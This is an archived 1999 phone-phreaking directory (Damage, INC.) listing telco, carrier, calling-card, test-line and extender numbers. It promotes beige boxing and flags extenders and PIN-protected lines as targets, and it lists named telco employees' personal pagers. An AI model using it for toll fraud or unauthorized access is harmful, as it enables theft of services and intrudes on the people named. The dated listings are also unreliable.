(4 digit BNs) +1-800-685-3968 (1-800-NUKE-YOU) is VoiceComm. +1-800-725-5288 ATN Communications. +1-800-726-7864 (1-800-SAMSUNG) Samsung Information Line. +1-800-733-9673 (1-800-RED-WORD) Novell Developer's Support. +1-800-741-2255 ATN Communications. (collect, credit, calling card, Op assisted.) +1-800-777-2255 Phone Works VMS. +1-800-777-3278 Fujitsu Network Communications Inc. +1-800-777-4343 Digital Equipment Corp. +1-800-783-2020 Frontier Communications Customer Service. +1-800-786-0404 (1-800-SUN-0404) Sun Express (supplier of Sun Microsystems) +1-800-788-8588 Working Assets Long Distance. +1-800-800-8800 Target Directory. +1-800-822-2000 Lucent Technologies. +1-800-825-2255 Metro-Call Customer Service. (pager service) +1-800-828-3362 Novell Authorization Department. +1-800-829-1011 Network Management Center. +1-800-835-7788 US Telecom International. +1-800-842-2255 American Express VMS (Audix) +1-800-846-2301 Gateway Technical Support Line. +1-800-847-4096 DELL Canada's Service and Support Hot Line. +1-800-848-0955 Williams Communications Solutions. (Meridian, OcTel info etc.) +1-800-848-8199 CompuServe. +1-800-848-8990 CompuServe. +1-800-858-4000 Novell Technical Support. +1-800-860-2255 Qwest/LCI. +1-800-879-3782 NOS (automated collect, credit, calling card calls) +1-800-879-7660 Iomega's Instant Access Help System. +1-800-888-4848 Subway's VMS. +1-800-889-6245 "Belen Hell" VMS. (VMB="#") (Dir.="3") +1-800-925-6278 (1-800-WAL-MART) WAL-MART Directory. +1-800-949-6245 VMB (Phone Mail) +1-800-951-2355 Cantel Communications. +1-800-954-6245 VMB (OcTel) +1-800-999-DELL DELL Canada. +1-800-SKY-8888 Skytel System Access. +1-800-SKY-FAXE SkyFax (Skytel Faxing) +1-800-SKY-GRAM Skyward (Skytel Alpha-Numeric Paging) +1-800-SKY-PAGE SkyPager (Skytel Numeric Paging) +1-800-SKY-TALK SkyTalk (Skytel Voice Mail) +1-800-SKYTEL5 Skytel. +1-877-240-1267 Cantel Centre De Communication Tech. +1-877-326-2826 NCR Bell Help Desk. +1-877-393285465 (1-877-EXECULINK) ExecuLink Internet Services. +1-877-396-3939 Union Telecom. +1-877-4-LUCENT Lucent Technologies. +1-877-677-4687 (1-877-6-PRIMUS) Primus Canada Long Distance Services. +1-877-742-7722 Sharp Canada Customer Care Center. +1-877-875-2762 Pioneer Help Line. +1-877-925-6278 (1-800-WAL-MART) Customer and Associates Service Hotline. +1-877-ROGERS-1 Rogers Corporation. +1-888-256-5678 NCR AlertLine. +1-888-257-8826 Cantel Centre de Communication. +1-888-349-6972 Micron Electronics Technical Support. +1-888-4-LUCENT Lucent Technologies Canada. +1-888-478-2730 I-Star Internet Incorporated. +1-888-504-2355 "Tony Bell" from Remax. +1-888-536-2355 "This is Ken Bell." (Voice) +1-888-582-3686 (1-888-LUCENT6) Lucent Technologies Shareholder Services. +1-888-582-3688 Lucent Technologies. +1-888-638-2355 Cantel AT&T. +1-888-673-8925 Micro$oft's Y2K Disclosure Line. +1-888-715-2355 Call Home America Ultimate 800. +1-888-736-8567 Motorola. +1-888-751-8088 Guinness World Records. +1-888-825-2355 Connect America. +1-888-839-9295 IBM Haliburton Service Desk. +1-888-ROGERS-1 Rogers Cable. +1-888-ROGERS-2 Rogers Connection. +1-888-Y-TOP-TEN ATN's Top Ten reasons why you should get a toll free number. + Glossary of Terms, Acronyms and Jargon) + + +------------------------------------------------------------------------------- + Telco Employees (Answering Machines and Pagers): +------------------------------------------------------------------------------- + +(416) 377-3724 Mike Turner's Pager (works for Bell) +(416) 379-2117 Dave Twiner's Pager (works for Bell) +1-800-455-6813 Jack Hogan of MCI WorldCom's Pager. +1-800-519-6245 TONE then "Sprint - Kimberly Martin." (Answering Machine) + + +------------------------------------------------------------------------------- + Numbers that Require PINs: +------------------------------------------------------------------------------- + +1-800-235-3155 "Welcome. Enter the PIN number you wish." +1-800-249-6245 "Please enter your 7 digit access code" +1-800-549-6245 "Welcome. Enter the PIN number you wish." +1-800-566-6245 "Please enter your four digit PIN:" +1-800-643-6245 "Enter ID number immediately followed by your security code." +1-800-862-6340 "Please enter your 4 digit PIN." +1-888-612-2355 "Enter the PIN number you wish." +1-888-614-2355 "Enter the PIN number you wish." +1-888-623-2355 "Enter the PIN number you wish." + + +------------------------------------------------------------------------------- + Carriers: +------------------------------------------------------------------------------- + +1-800-234-1998 Digital Equipment Corp. Electronic Store. (Online Shopping) +1-800-234-6245 MCI (USA) +1-800-283-5474 Okidata (inside joke!) +1-800-368-7244 AT&T Information Access Services SignOn/Pwd (USA) +1-800-368-7247 AT&T Information Access Services SignOn/Pwd (USA) +1-800-444-8697 RTK-NET. +1-800-604-6245 Digital Equipment Corporation. +1-800-624-5123 AT&T STATION ID - C2/34.11 Canada 2 Datakit. +1-800-692-8872 (1-800-MY-ATT-PC) NCR Global Support Center BBS. (3 lines) +1-803-939-8207 NCR Global Support Center BBS. (9 lines) + +(Use the N-8-1 setting to connect to the carriers above.) + + +------------------------------------------------------------------------------- + Cellular, PCS and Paging Services: +------------------------------------------------------------------------------- + +1-800-222-8466 Cellular Rentals. +1-800-263-7536 Nokia Mobile Phones. +1-800-264-2355 (1-800-ANI-BELL) Cellular South Answer Center. +1-800-274-3127 MobileCom's National Customer Service Center. +1-800-276-2355 Frontier Communications Customer Service. +1-800-374-2355 InterCall. +1-800-374-2776 Ericsson Mobile Phones Customer Care Center. +1-800-405-6543 American Mobile. +1-800-411-2355 Car Phone Store. +1-800-432-2355 Air Touch Paging. 1-800-6AIR-TOUCH Air Touch Paging Canada. +1-800-438-2355 Kentucky Cellular. +1-800-452-2355 Appalacian Wireless. +1-800-460-2255 Pager Service. +1-800-474-2355 OmniCell Technologies Incorporated. +1-800-481-2355 ATI Cellular. +1-800-483-5010 Cellular Express. +1-800-488-2355 Cellular 2000. +1-800-496-2355 Nationlink. +1-800-518-2355 CellToys International. (Cellular, PCS, accessories etc.) +1-800-549-2355 Advanced Cellular and Paging. +1-800-590-2355 ATI Cellular. +1-800-613-2355 Cellular Unlimited. +1-800-638-2355 Comcev Cellular Communications. +1-800-667-2355 SouthTel Mobility. +1-800-673-2355 Quintex Cellular. +1-800-705-2355 OmniCell Technical Department VMS. +1-800-706-2355 Paging Service Center. +1-800-724-2355 AllCell Rentals. +1-800-742-2355 Mobile Media. +1-800-759-2355 Plymouth Bell Laboratories. +1-800-765-2355 Isralink Communications. (Israel Cell phones) +1-800-794-2355 Advantage Communications Systems. +1-800-806-2355 Advantage Paging. (I believe it's Bell Advantage) +1-800-821-2355 MobileCom. +1-800-854-2355 MobileCall accounts. +1-800-866-2770 MobileCom. (pager service) +1-800-871-2355 The Phone Man. (I'm fucking serious... Haha) +1-800-872-6222 American Mobile Satellite Communications Products. (U.S. only) +1-800-874-6387 Trellis Communications. +1-800-887-2255 Trellis Premier Voice Mail and Paging. +1-800-926-2355 Ubet Wireless. +1-800-980-2355 Light Cellular. +1-877-948-4968 (1-877-WITH-YOU) Frontier Cellular. +1-877-CELLPHONE Travel Phone (Cellular phone company) +1-877-WIRELESS Cellular Depot. +1-888-229-4443 Cantel AT&T Canada. +1-888-300-2355 Consolidated Wireless Corporation. +1-888-444-2355 Maricell Cellular. +1-888-481-FIDO Fido PCS Services. +1-888-593-2355 S&E Cellular. +1-888-638-2355 Cantel AT&T. +1-888-694-2355 Corporate Communications at AirTouch Customer Service. +1-888-801-2355 Cell Phones and Accessories. +1-888-877-2355 Comcev Communications. +1-888-879-2355 Portable Communications. (The home of the Phone Man) +1-888-901-2355 Digital Communications. +1-888-902-2355 NewTech Wireless. (paging, cellular, equipment, etc.) +1-888-968-2355 Everything Wireless. +1-888-999-2355 Downtown Wireless. +1-888-CELL-BOOK CellCom and PageCom. +1-888-WIRELESS Page USA. + + +------------------------------------------------------------------------------- + Free Disks: +------------------------------------------------------------------------------- + +1-888-265-4357 (1-888-AOL-HELP) AOL Canada (only call for free 3«" AOL disks) +1-800-487-4838 CompuServe. +1-800-776-3449 Prodigy. +1-800-777-9638 Sprynet - Gives you two disks. +1-800-786-7638 SunSoft - Free 30-day evaluation disk. (press 1) +1-800-827-6364 America Online. + + +------------------------------------------------------------------------------- + Calling Cards: +------------------------------------------------------------------------------- + +1-800-213-0304 Talk `n Toss Calling Card. +1-800-213-4222 Calling Card. +1-800-265-3121 Prepaid LD. +1-800-277-7468 Sprint Prepaid Calling (press 1) +1-800-279-6111 Unidial Calling Card. +1-800-393-0711 7-11 Calling Cards. +1-800-423-4343 AT&T Calling Cards (16 digit code) (automated) +1-800-437-6404 Champs Sports Calling Card (9 digit code) +1-800-444-3556 (1-800-HI-HELLO) Hello Direct. (Mail-order telphonics equipment, + pre-paid phone cards, etc.) +1-800-463-0004 Some calling card service +1-800-484-6245 MCI. (4 Digit Security Code) +1-800-560-6245 "Please enter your four digit Frontier Spectrum PIN." +1-800-572-6361 Pepsi Phone Card. +1-800-662-6214 AT&T Calling Cards. +1-800-674-6245 Musical Notes and then "Please enter your card number now." +1-800-674-7325 MCI Calling Card. +1-800-674-9997 MCI Calling Card. +1-800-690-6245 "Please enter your four digit Frontier Spectrum PIN." +1-800-783-1414 Frontier Access Card. +1-800-814-2808 Sprint Prepaid calling card service. +1-800-860-4444 Qwest Communications. (calling card calls) +1-800-864-7000 Premier World Link Access Number. +1-800-997-6245 Decoma calling card service. "Please enter your card number." +1-800-BCE-HELP Ideal Dial's Telecard Platform. +1-888-813-1426 Kokanee Talkin' Tag Phone Card (10 digit PIN) + + +------------------------------------------------------------------------------- + Teleconferencing: +------------------------------------------------------------------------------- + +1-800-225-5100 AT&T Corporate Teleconferencing. +1-800-225-5500 Teleconference Assistance. +1-800-225-5700 AT&T Teleconferencing. +1-800-232-1234 AT&T Teleconferencing. +1-800-235-0900 AT&T Teleconferencing. (Spanish and English) +1-800-255-5100 AT&T Teleconferencing. +1-800-255-5500 AT&T Teleconferencing. +1-800-369-1117 MCI Teleconferencing. +1-800-475-4455 Conference Calling Center. +1-800-544-6363 AT&T Alliance Teleconference Service (US) +1-800-567-3678 Bell (Dis)Advantage Teleconference (Canada) +1-800-625-5288 Teleconference Playback Center. +1-800-886-2355 Frontier Teleconferencing. + + +------------------------------------------------------------------------------- + Credit Card Verification: +------------------------------------------------------------------------------- + +1-800-228-1122 Credit Card Verification. +1-800-268-2530 Credit Card Verification. +1-800-268-8281 Royal Bank Authorization Centre for Visa Cards. +1-800-333-1337 Authorization Centre. +1-800-336-0220 Credit Card Service Bureau. +1-800-361-8370 National Bank Authorization Centre for Master Card. +1-800-528-2121 American Express Card. +1-800-556-5678 Bank number to report stolen bank cards. +1-800-561-5224 Credit Authorization Centre +1-800-796-2355 Card Services (Visa and Mastercard) +1-800-810-2355 Customer Service Center. +1-800-866-5000 National Credit Center. + + +------------------------------------------------------------------------------- + Non-Toll Free Extenders, etc. +------------------------------------------------------------------------------- + +(519) 651-2252 Extender (4 digit Client numbers and passcodes) +(519) 654-9000 Ability Telecom extender/diverter. (4 digit passcodes) +(519) 742-9621 Bell Canada VMS. +(519) 846-2255 Extender. (5 digit passcode) +(519) 895-2255 Extender. (5 digit passcode) + + +------------------------------------------------------------------------------- + Silent Lines, Test Lines and Strange Messages: +------------------------------------------------------------------------------- + +(403) 425-0052 Gives you Info about a Bell CO in Alberta. +(416) 690-4804 - Remote 44A (aka Bell Hut) (it's a switching center) +(423) 539-0001 Memorycall Access line. +(423) 588-9909 Memorycall Access line. +(423) 602-7811 Remote Call FWD Access. +(514) 391-1715 Wide Area Telephone Service (WATS) +(514) 391-4005 MDAR Trouble line. +(514) 481-1111 1khz tone. +(514) 481-1191 1Khz&Battery. +(514) 673-2111 Centrex (ASA) +(514) 786-6786 Control. +(514) 852-8686 Cables. +(514) 870-0200 CDE code MTL. +(514) 870-0669 CDE code MTL. +(514) 870-0704 CDE code MTL. +(514) 870-1252 DMS. +(847) 823-9995 Gives reading on the Bell CO, including alert and battery + conditions and temperature. Also allows you to check the sound + levels, allowing you to hear inside the CO. +1-800-200-0301 Test line (loud beep) +1-800-200-0302 Test line (loud beep) +1-800-225-5122 "We are sorry but this program has not started. Thank you for + calling." +1-800-225-5300 "We are sorry but this program has ended and no further calls are + being taken. Thank you for calling." +1-800-225-5308 High pitched TONE. +1-800-225-5528 TONE. "Please enter the number you are calling." +1-800-369-2255 Silent line. +1-888-374-2355 "You have entered an invalid telephone number." +1-800-430-7938 DMS. +1-800-444-1677 Siren Tones. +1-800-455-2013 Ring + Click then Trunk Busy signal. +1-800-455-7947 1 Ring then silent line. +1-800-483-2276 No Ring + Trunk Busy signal. +1-800-483-9774 Ring + Trunk Busy Signal. +1-800-485-2255 Ring + Trunk Busy Signal. +1-800-555-1120 "We are sorry but this program has ended and no further calls are + being taken. Thank you for calling." +1-800-555-1220 Same message as 1-800-555-1120. +1-800-555-2147 Ring + Trunk Busy signal. +1-800-555-2342 Dialtone. (PBX) +1-800-555-3585 Dialtone. (PBX) +1-800-555-3696 Silent line. +1-800-624-2255 "We're sorry. We're unable to place a call from this number. + Goodbye." +1-800-647-2255 "I'm sorry. We are no longer taking calls for this project." +1-800-862-6338 Blast of Noise. Some type of test line. +1-800-866-9317 High Tone +1-800-877-8000 Low Tone +1-800-898-2355 Silent line. +1-800-900-1302 Silent line. +1-800-900-2274 Silent line. +1-800-959-9997 "Test 1, 2, 3, 4." message. +1-888-468-2355 "Due to technical difficulties we cannot record your message + at this time." +1-888-487-5346 L.E.G.O.S. +1-888-786-6786 Control. +1-888-871-2380 Waterloo Facilities. + + +------------------------------------------------------------------------------- + FAX-Backs: +------------------------------------------------------------------------------- + +1-800-222-9323 AMV Fax-Back +1-800-268-9100 Bell Canada 1-900, 976, Info Line (2,1,2,AC,NUM,#,#) +1-800-282-2000 Phillips (1,2,6,AC,NUM,#,1,#) +1-800-323-6586 Tandy Retail Services Fax-Back. (order Tandy docs!) +1-800-345-1518 Compaq Computer PaqFax +1-800-365-0696 Genecom Corporation FAX-back service. (Digital Printer Support) +1-800-368-9673 Hewlett-Packard Information Storage Quick Fax (1,2,AC,NUM,1,2,) +1-800-380-0030 Diamond (2,2AC,NUM,#,1,AC,NUM,#,1) +1-800-443-1254 HP Portable Products (5,5,5,#,3,2,2,2,1#AC,NUM,#,1,#,) +1-800-446-6212 Analog Fax (2,1,0,AC,NUM,1,AC,NUM,#,1) +1-800-451-2100 Lucent Technologies Main number (get product info by FAX). +1-800-483-2495 Central FAX on demand system. (FAX back) +1-800-521-2846 Brother Fax back (they make fax machines and typewriters) +1-800-522-6752 Amp Fax (1,8,90,#,#,AC,NUM,#,#,AC,NUM,#,#,#) +1-800-525-3019 Intel (1,1,3,2,AC,NUM,1,#) +1-800-722-4786 Sun Microsystems Service Canada (1,2,4,1,AC,NUM,#,1) +1-800-727-3351 Micro$oft Sales FAX Service Line. (press *,1,1,AC,NUM,#,5,0) +1-800-822-4269 Borland (3,2,1,AC,NUM,#,1,3,1) +1-800-832-4778 Western Digital Fax Access (2,1,1,1,AC,NUM,#,1,AC,NUM,#,1) +1-800-832-6328 Ameritech Team Data Support Center (press 6,2,1,2,AC,NUM,1) + (pressing 6 transfers you to the Ameritech Team Data Information + Server which you can use to obtain telco info via FAX back) +1-800-872-4786 Sun Microsystems Service United States (2,4,1,AC,NUM,#,1) +1-800-879-8632 US West News line. (U.S. only) +1-800-943-8329 Integrated Device Tech (1000,1,3000,1,#,AC,NUM#,1,#) +1-800-IBM-4FAX IBM FAX Information Service. (3,1,0,1,1,1,AC,NUM,#,1,1) +1-800-SKY-USER Skytel Customer Service. (press 3 for FAX on demand for docs) + + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Final Notes: + +If you'd like to contribute to the Damage, INC. Phreaky Field Phreaking List, +discover a number that's no longer in service or misidentified, send Email to +damage_inc@dope.org and the addition/correction will be made in the next +edition. If you send numbers your alias will be listed in the next edition, +which we expect to release in the Summer of 1999. + +Thanks go out to the following people (in no particular order) for their +contributions to this list. If you contributed in some way but were neglected +to be mentioned, then contact and notify me about the oversight. + +THC Phreak, BLACKENED, Shatazar, Helena3, Breaker, x25lurker, Tobias, Nevada, +Fringe, , Syko416, Fatal Vision. + +It was created, scanned, compiled, verified and distributed by phreaks, for +phreaks. And in addition to that, it's damn phreaky. Have phun... and look +out for more releases courtesy of Damage, INC. and Blamerica Phreaky Industries. + +- Blackie Lawless + + Copyright 1999 by Damage, INC. All Rights Reserved. diff --git a/textfiles.com/groups/DAMAGEINC/dam99sum.txt b/textfiles.com/groups/DAMAGEINC/dam99sum.txt new file mode 100644 index 00000000..66ec3cc1 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/dam99sum.txt @@ -0,0 +1,1322 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + Phreaky Field Phreaking List. + ú Summer 1999 Edition ú + (Released: 06/30/99) + + http://surf.to/damage_inc + damage_inc@disinfo.net +=============================================================================== + +Introduction: + +This is the second edition of the Damage, INC. Phreaky Field Phreaking List. We +recommend that you print it out and take it with you on beige boxing/junction +boxing expeditions or for use as a reference while at payphones. Hell, just +take it with you wherever you travel. You never know when you're going to need +it. :) This comprehensive list includes many toll free numbers for telcos, +test numbers, conferences, computer companies, carriers, cellular, and other +services, etc. Always remember, you ain't seen nothin' yet! + +Disclaimer: + +The Damage, INC. Phreaky Field Phreaking List is for informational purposes +only. We are not responsible for how it is used, including but not restricted +to any fraudulent, illegal acts that may be committed, unauthorized access of +systems, loss/theft of services or any damages that may be caused as a result +of someone else's activities. If/how you use these numbers is entirely your +choice. In summary, you're legally responsible for your own deeds and actions. +Now that the legal shit has been thoroughly covered, here's what you have all +been waiting for... :) + +------------------------------------------------------------------------------- + ANACs/ANIs and Ringbacks: +------------------------------------------------------------------------------- + +(514) 320-0047 Slow ANAC for Montreal, Quebec. +(514) 320-1147 Fast ANAC for Montreal, Quebec. +(519) 748-3220 Viewer's Choice order line for Kitchener. (press 1 for ANI) +(613) 320-2232 ANI for Ottawa, Ontario. + +1-800-346-0152 ANI. +1-800-42562563 (1-800-4-BLOCKME) VRS Billing Systems and IntegriTel offers + free 1-800 blocking and ANAC. +1-800-487-9240 ANI (doesn't work from 519) +1-800-514-9939 ANI (doesn't work from 416/519) +1-800-532-7486 ANI (Hit option 1, then option 1 again then listen) +1-800-555-1160 ANI (always busy now...) +1-800-555-1170 ANI (always busy now...) +1-800-569-5699 ANI (press "7*#") +1-800-638-2392 Press "2" for ANI info. +1-800-692-6447 (1-800-MY-ANI-IS) Requires a passcode. + +320-XXX-XXXX Ringback for Montreal, Quebec. +507-XXX-XXXX Ringback for Alberta. +590-XXX-XXXX Ringback for 204 NPA. +954-999-XXXX Ringback for 954 NPA. +999-XXX-XXXX Ringback for 519 NPA. +999-XXX-XXXX Ringback for North Bay, Ontario (705) +999-XXX-XXXX Ringback for Ottawa, Ontario (613) +999-XXX-XXXX Ringback for portions of Toronto, Ontario (416) + + +------------------------------------------------------------------------------- + AT&T: +------------------------------------------------------------------------------- + +1-800-221-0000 AT&T Interactive Advantage Customer Support Line. +1-800-221-7680 AT&T Digital Video Center. +1-800-222-0300 AT&T Main Number. +1-800-222-0400 AT&T Custom Care Centre (for long distance service) +1-800-222-1000 AT&T Customer Care Center. +1-800-222-3000 AT&T Customer Service. +1-800-222-5111 Lucent/Phillips Communications/AT&T Telephones. +1-800-222-7956 AT&T Global ISDN Customer Care Center. +1-800-225-5288 (1-800-CALL-ATT) +1-800-225-5856 AT&T's Vendor Agent Program. +1-800-235-4288 AT&T America. +1-800-242-2422 Loral Skynet Satellite Services (formerly AT&T Skynet) +1-800-242-6005 AT&T Internet Services. +1-800-243-0506 AT&T Find America Directory Service. +1-800-247-6636 AT&T Wireless Services In-Flight Customer Care. +1-800-248-3632 AT&T's Data Network Business Information Solutions. +1-800-255-1242 AT&T Customer Information Center (Canada) +1-800-258-0123 AT&T Customer Care Center. +1-800-268-5931 AT&T Wireless Service VMB. +1-800-268-5939 AT&T (Operator) +1-800-305-9494 AT&T Wireless (MetroCall) Messaging. +1-800-322-MWBE AT&T Supplier Diversity Program Information Line. +1-800-325-0138 AT&T Small Business Customer Care. +1-800-331-3449 AT&T Employee Line (Lists AT&T Job openings) +1-800-342-5288 AT&T Customer Care. +1-800-348-8288 AT&T Shareholder Services. +1-800-351-5855 AT&T Helpdesk. +1-800-387-1926 AT&T Personal Info Line. +1-800-400-1447 AT&T WorldNet Service Billing. +1-800-418-8999 AT&T Customer Care Center. (long distance service) +1-800-423-4343 AT&T Universal Card. +1-800-424-6030 AT&T's Matching Gift Processing Center. +1-800-425-5288 AT&T Products and Services. +1-800-426-8686 AT&T Printed Directories. (U.S. only) +1-800-428-8468 AT&T Global Services Center. +1-800-428-8669 (1-800-4ATT-NOW) AT&T Personal Network Sales Center. +1-800-432-6600 AT&T Customer Information Center (USA) +1-800-435-7375 AT&T EasyLink Technical Support. (U.S. only) +1-800-438-3151 AT&T Wireless, Job Line. +1-800-443-8288 (1-800-GIFT-ATT) AT&T Gift Certificates. +1-800-446-7466 (1-800-4GOPHONE) AT&T Wireless GoPhone Services. +1-800-4-ONE-RATE AT&T One Rate plan subscriptions. +1-800-483-9288 AT&T and Texaco's Information Line. +1-800-522-2157 AT&T Investigations Department. +1-800-525-7955 AT&T Direct Call Cards. +1-800-528-0465 AT&T CampusWide Access Solutions. +1-800-538-5345 AT&T Slamming Resolution Center. +1-800-552-3373 AT&T Wireless Advanced Network Services Support. +1-800-555-8111 AT&T Consumer Lease Services. +1-800-562-2255 AT&T 1-800 Directory Advertising. +1-800-562-6275 AT&T Message Sender (Send an automated message to any number in + the world with your voice. Accepts calling cards & credit cards) +1-800-562-7288 (1-800-JOBS-ATT) AT&T Employee Line. (U.S. only.) +1-800-575-9999 AT&T Canada. +1-800-628-8486 AT&T Language Line Services. +1-800-634-8078 AT&T Billing Office/Accounts info. +1-800-643-2255 AT&T Translation Service. (Foreign languages only) +1-800-662-6214 AT&T Calling Card Protection line. +1-800-662-7759 (1-800-66-APPLY) AT&T Universal Card. +1-800-670-2255 AT&T Canada Long Distance Services. +1-800-673-7286 AT&T 1-800-OPERATOR. Specializes in collect calls. Automated. +1-800-678-7918 AT&T Business Customer Care Center. +1-800-682-8706 AT&T Telecommunications Relay Customer Service. (Voice) +1-800-682-8786 AT&T Telecommunications Relay (TTY) +1-800-732-2255 AT&T High Seas Radio Telephone and Mobile Satellite Services. +1-800-7-HOSTIN AT&T Internet Services. +1-800-752-0093 AT&T Language Line Services. +1-800-752-6096 AT&T Language Line Customer Service Center. +1-800-790-2255 AT&T Canada Long Distance Services. +1-800-807-2466 AT&T Learning Points Program. +1-800-820-6464 AT&T Digital Long Distance/ISDN Services. +1-800-822-9009 AT&T Corporate Security, internal investigations. +1-800-830-2255 AT&T Canada Long Distance Services. +1-800-831-5259 AT&T WorldNet Business/Data Services. +1-800-833-3232 AT&T ACS Long Distance Bill Inquiries. +1-800-850-TIES AT&T. Call to setup Easy Reach 800s. +1-800-855-1155 AT&T LDRS Directory Assistance. (TTY Carrier for the deaf) +1-800-855-2880 AT&T Long Distance Relay Service (TTY) +1-800-855-2881 AT&T Long Distance Relay Service (automated/voice) +1-800-855-2882 AT&T Long Distance Relay Service (TTY) +1-800-855-2883 AT&T Long Distance Relay Service (TTY) +1-800-858-9857 AT&T True Rewards (option 1) +1-800-878-3123 (1-800-TRUE-123) AT&T True Messages Service. +1-800-889-4408 AT&T NCC (Network Control Center) and TCC. +1-800-892-3850 AT&T Wireless Long-Distance Service. +1-800-958-2255 AT&T Canada Long Distance Services. +1-800-967-5363 AT&T Worldnet Service. +1-800-970-2255 AT&T Canada Long Distance Services. +1-800-998-3947 AT&T Authorized Stocking Distributor/Zack Electronics. +1-800-GIFT-ATT AT&T Gift Certificates (extension 410) (Mon-Fri, 9-5) +1-800-WORLDNET (1-800-96753638) AT&T Canada Internet Service. +1-888-288-1233 AT&T Internet Service. +1-888-ATT-ALL1 AT&T Customer Care Center. +1-888-ATT-INTL AT&T International Helpline in Basking Ridge, NJ. +1-888-ATT-TRW3 AT&T True Rewards Account questions. +1-888-928-8932 (1-888-9ATT-WEB) AT&T Online Customer Service. +1-888-933-1212 AT&T Cellular phone accessories. (U.S. only) + + +------------------------------------------------------------------------------- + Ameritech: +------------------------------------------------------------------------------- + +1-800-221-0994 Ameritech Cellular and Paging. +1-800-244-4444 Ameritech Customer Billing Office (works outside of Illinois) +1-800-323-7311 Ameritech Capital Services. +1-800-327-3470 Ameritech Advertising Services. +1-800-475-7449 Ameritech Pay Phone Repair. +1-800-493-7243 Ameritech Quick Reach Pager Services. +1-800-553-9591 Ameritech Pages Plus Advertising. +1-800-660-3000 Ameritech Small Business Services. +1-800-821-0173 Ameritech Cellular and Paging Services. +1-800-873-5501 Ameritech's automated billing (RBOC) +1-800-AMERITECH Ameritech. +1-888-AMERITECH Ameritech. + + +------------------------------------------------------------------------------- + Bell: +------------------------------------------------------------------------------- + +310-BELL Bell Canada Customer Services. (toll free) +310-2355 Telephone Directory Ordering (free local directories) +310-SURF Bell Sympatico. +1-416-555-1313 Bell's local CN/A office for Toronto. +1-915-683-9145 Southwestern Bell Employee Locator (Automated) + +1-800-221-4393 Bell Atlantic VMB. +1-800-225-5180 Bell Canada Client Service Center. +1-800-225-5400 Bell Atlantic. +1-800-225-5792 SBC Wireless National Services. +1-800-BELL-SOUTH (Collect, Calling Card and Credit Card calls) +1-800-CELL-ONE Cellular One. (U.S. only) +1-800-238-8636 Bell Labs. +1-800-244-2355 Bell Atlantic's Interactive Demo Center. +1-800-253-5011 Bell Mobility Paging. +1-800-255-2255 Bell Atlantic 1-800-255-CALL. +1-800-256-2355 Bell Nexxia. (after hours OcTel VMB) +1-800-257-5554 Bell Atlantic Services/Computer Repair. +1-800-263-3899 Bell Mobility Customer Service. +1-800-263-7412 Bell Canada Millennium Help Line. +1-800-263-8394 Bell Mobility. +1-800-265-0123 Bell Mobility Ardis Division Sales. +1-800-265-5925 Bell Data & I.X. Voice Repair. +1-800-267-0123 Bell Mobility's Automated Express Lane System. (reports EST) +1-800-267-0424 Bell Nexxia Customer Care. +1-800-267-2355 Bell Mobility Quebec. +1-800-267-6574 Bell Canada Datapac Service Center. +1-800-267-7640 Bell Canada's Ident-a-call demonstration line. (Press "*" to + access the VMS) +1-800-267-9556 Bell Canada. +1-800-268-1720 Bell Canada Multimedia. +1-800-268-2355 Bell Mobility Ottawa Office. +1-800-268-3550 Bell ActiMedia Internet Services. +1-800-268-5637 Bell ActiMedia (call to purchase Canadian, American and + international directories) +1-800-268-5933 Bell Canada Quickchange Department. +1-800-268-8531 Bell Data. +1-800-268-9100 Bell Canada 1-900, 976, Information Line (they send faxes) +1-800-268-9107 Bell Canada Customer Care. +1-800-268-9160 Bell Canada Information Service Line. +1-800-270-2355 Business Consulting Group of Bell Canada. +1-800-275-2355 (1-800-275-BELL) Bell Atlantic Repair. +1-800-285-2355 BellSouth. +1-800-297-2355 Bell Atlantic's Major Customer Center. +1-800-323-6628 Bell Laboratories. +1-800-327-8412 Bell Atlantic Professional Services. +1-800-331-9948 Bell Canada Relay Service Customer Comment Line. +1-800-361-1423 Bell Canada Advantage Conferencing. +1-800-361-3489 Bell Canada Customer Billing Center. +1-800-361-7874 Bell Canada Millennium (Unknown) +1-800-361-8717 Bell Canada Professional Services. (Montreal) +1-800-363-2355 Bell Canada's Total Solution Center for Business. +1-800-363-3781 Bell Mobility Paging. +1-800-363-6522 Stentor's Calling Card Centre. +1-800-363-9612 Bell Technical Services. +1-800-365-5810 Bell Atlantic Customer Information Line. (good telco info) +1-800-369-2355 Cellular One. +1-800-381-2355 Cellular One. +1-800-387-4411 Bell Canada's Business Direct Marketing Centre. +1-800-387-5185 Bell Phonecentre Information Line. +1-800-387-9571 Bell Mobility Radio. +1-800-387-9999 Bell Gardium Security Representative. +1-800-407-2355 John with Southwest Bell Wireless. +1-800-416-9639 Bell Atlantic Help Desk. +1-800-419-2355 BellSouth. (Spanish) +1-800-436-8638 BellSouth Internet Home. (U.S. only) +1-800-439-2355 Direct Bell. (wireless communications) +1-800-441-1267 Southwestern Bell Yellow Pages. +1-800-443-6200 Southwestern Bell Yellow Pages. +1-800-446-7835 Northern Telecom (Nortel) (The People Who Make Millenniums) +1-800-447-2688 BC Tel Mobility's EasyTouch Service. +1-800-451-6549 BellSouth Customer Service. +1-800-453-4539 Pacific Bell Directory Major Market. (U.S. only) +1-800-461-1747 Bell Canada Millennium (Voice Test) +1-800-461-1760 Bell Canada Millennium (Unknown) +1-800-461-1879 Bell Canada Millennium (Data Test) +1-800-461-2921 Bell Canada Smart Touch Information Line. +1-800-461-7243 Bell ActiMedia Sales Office. (formerly Yellow Pages Tele-Direct) +1-800-463-4778 Bell Canada Professional Services. (Quebec City) +1-800-463-5376 Bell CSR-Quebec (Quebec City) +1-800-465-2355 Bell Mobility. +1-800-466-7835 (1-800-4-NORTEL) Nortel Networks. (Northern Telecom) +1-800-468-6792 (1-800-GO-TO-SWB) Southwestern Bell's Employee Locator. +1-800-470-2355 Bell Mobility. +1-800-472-9773 Telus (Payphone Dept.) +1-800-479-2977 Southwestern Bell Yellow Pages. +1-800-487-2355 Cellular One Customer Service. +1-800-491-2355 Pacific Link Communications Mississauga (Bell Mobility Center) +1-800-4PB-ISDN Pacific Bell FasTrak DSL Center. (U.S. only) +1-800-514-2355 Cellular One's Welcome line. +1-800-521-2673 Bellcore. 